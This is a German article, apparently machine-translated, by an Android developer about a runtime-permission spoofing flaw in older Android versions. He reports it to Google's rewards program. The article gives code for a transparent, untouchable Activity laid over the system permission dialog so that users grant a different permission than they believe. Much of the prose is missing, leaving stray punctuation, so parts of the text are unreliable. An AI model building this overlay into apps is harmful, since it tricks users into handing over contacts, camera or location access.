Ändern der Laufzeitberechtigungen in Android

Hallo, ich heiße Vitaly.





Ich bin 25 Jahre alt und habe an der Staatlichen Elektrotechnischen Universität St. Petersburg "LETI" in meiner Heimatstadt studiert. Ich programmiere seit 10 Jahren, von denen ich 4 für Android geschrieben habe. Der Autor vieler Homebrew-Programme, bekannt als VITTACH, für die Sony PlayStation Portable (PSP) .





Heute möchte ich mit Ihnen das Problem der Sicherheit mobiler Anwendungen diskutieren. Die Entwickler von Google verbessern Android ständig und finden und beheben Schwachstellen mithilfe einer großen Community, die dank des Android Security Rewards- Programms , über das wir später sprechen werden, zusammengetragen wurde. Trotzdem bleiben Probleme bestehen, und es ist unsere gemeinsame Aufgabe als Gemeinschaft, sie zu melden, damit sie rechtzeitig behoben werden.





Die Sicherheitslücke, von der ich spreche, gehört zu der Klasse mit der Priorität: P2 und Schweregrad: S2 , die laut Tabelle im weitesten Sinne bedeutet:





  • Ein Problem, das innerhalb eines angemessenen Zeitrahmens gelöst werden muss.





  • Ein Problem, das für einen großen Prozentsatz der Benutzer wichtig ist und mit der Kernfunktionalität zusammenhängt.





Laufzeiterlaubnis

Der Artikel konzentriert sich auf etwas, das allen Entwicklern als Laufzeitberechtigung bekannt ist, nämlich die Möglichkeit, den Endbenutzer irrezuführen, indem das Berechtigungsdialogfeld mit seinem eigenen Text und Symbol über dem System demonstriert wird. Es ist leicht zu erraten, dass ein solcher Ansatz es Entwicklern ermöglichen würde, den Benutzer um Erlaubnis zu bitten, beispielsweise für das Dateisystem, und tatsächlich Zugriff auf Geolocation, Kamera oder etwas anderes zu gewähren.





Es ist unmöglich

Eine ähnliche Frage wurde mehr als einmal in speziellen Foren gestellt, insbesondere in StackOverflow . Die einzig richtige Antwort war, dass es unmöglich war. Und das ist wirklich so: Es ist unmöglich, den Text im Systemdialog selbst zu ersetzen, aber es ist möglich, ihn durch Ihren eigenen zu überschreiben.





Was ist unter der Haube

Runtime Permission Android 6.0



dangerous-. , . dangerous .





Dangerous permissions
  • android.permission_group.CALENDAR





    • android.permission.READ_CALENDAR





    • android.permission.WRITE_CALENDAR





  • android.permission_group.CAMERA





    • android.permission.CAMERA





  • android.permission_group.CONTACTS





    • android.permission.READ_CONTACTS





    • android.permission.WRITE_CONTACTS





    • android.permission.GET_ACCOUNTS





  • android.permission_group.LOCATION





    • android.permission.ACCESSFINELOCATION





    • android.permission.ACCESSCOARSELOCATION





  • android.permission_group.MICROPHONE





    • android.permission.RECORD_AUDIO





  • android.permission_group.PHONE





    • android.permission.READPHONESTATE





    • android.permission.CALL_PHONE





    • android.permission.READCALLLOG





    • android.permission.WRITECALLLOG





    • android.permission.ADD_VOICEMAIL





    • android.permission.USE_SIP





    • android.permission.PROCESSOUTGOINGCALLS





  • android.permission_group.SENSORS





    • android.permission.BODY_SENSORS





  • android.permission_group.SMS





    • android.permission.SEND_SMS





    • android.permission.RECEIVE_SMS





    • android.permission.READ_SMS





    • android.permission.RECEIVEWAPPUSH





    • android.permission.RECEIVE_MMS





    • android.permission.READCELLBROADCASTS





  • android.permission_group.STORAGE





    • android.permission.READEXTERNALSTORAGE





    • android.permission.WRITEEXTERNALSTORAGE









Android GrantPermissionsActivity, .





ActivityCompat.requestPermissions(
    MainActivity.this,
    arrayOf(Manifest.permission.READ_CONTACTS),
    PERMISSION_REQUEST_CODE
)
      
      



Activity, UI , Activity, .





:





Activity android:windowIsTranslucent=true



( Activity , , ) Activity , . Activity Activity .





– Activity , – Activity . Activity, ?





, , , , . , :





Activity , onResume



onPause



. Activity.





, Activity , . – !





,

Kotlin









  • ,





    <style name="Theme.Transparent" parent="AppTheme">
    <item name="android:windowBackground">@android:color/transparent</item>
    <item name="android:windowIsTranslucent">true</item>
    </style>
          
          



  • Activity





    ...
    <activity android:name=".PermissionActivity"
              android:theme="@style/Theme.Transparent">
          
          



  • PermissionActivity layout





    onCreate :





    window.addFlags(
      FLAG_NOT_FOCUSABLE or FLAG_NOT_TOUCH_MODAL or FLAG_NOT_TOUCHABLE
    )
          
          



    :





    • FLAG_NOT_FOCUSABLE



      : window, FLAG_NOT_FOCUSABLE



      , ;





    • FLAG_NOT_TOUCH_MODAL



      : , , , ;





    • FLAG_NOT_TOUCHABLE



      : .





  • MainActivity





    ActivityCompat.requestPermissions(
        MainActivity.this,
        arrayOf(Manifest.permission.READ_CONTACTS),
        REQUEST_CODE
    )
          
          



  • MainActivity : PermissionActivity.





    startActivity(Intent(this, PermissionActivity::class.java))
          
          



    PermissionActivity Activity . !





Android >= 7.1.1

Runtime Permission Android 6.0



, 7.1.1



, .. Android



.





Android 6.0



, . , Google .





Android Rewards Program

Ich habe einen Antrag eingereicht und alle Erklärungs- und Demonstrationsdokumente zu dieser Sicherheitsanfälligkeit beigefügt. Im Moment wird der Antrag geprüft, daher kann ich die Details nicht preisgeben, da ich die entsprechende Vereinbarung unterzeichnet habe.





Wie ist es einfacher?

Um die Sicherheitsanfälligkeit auszunutzen, habe ich eine Bibliothek geschrieben




















All Articles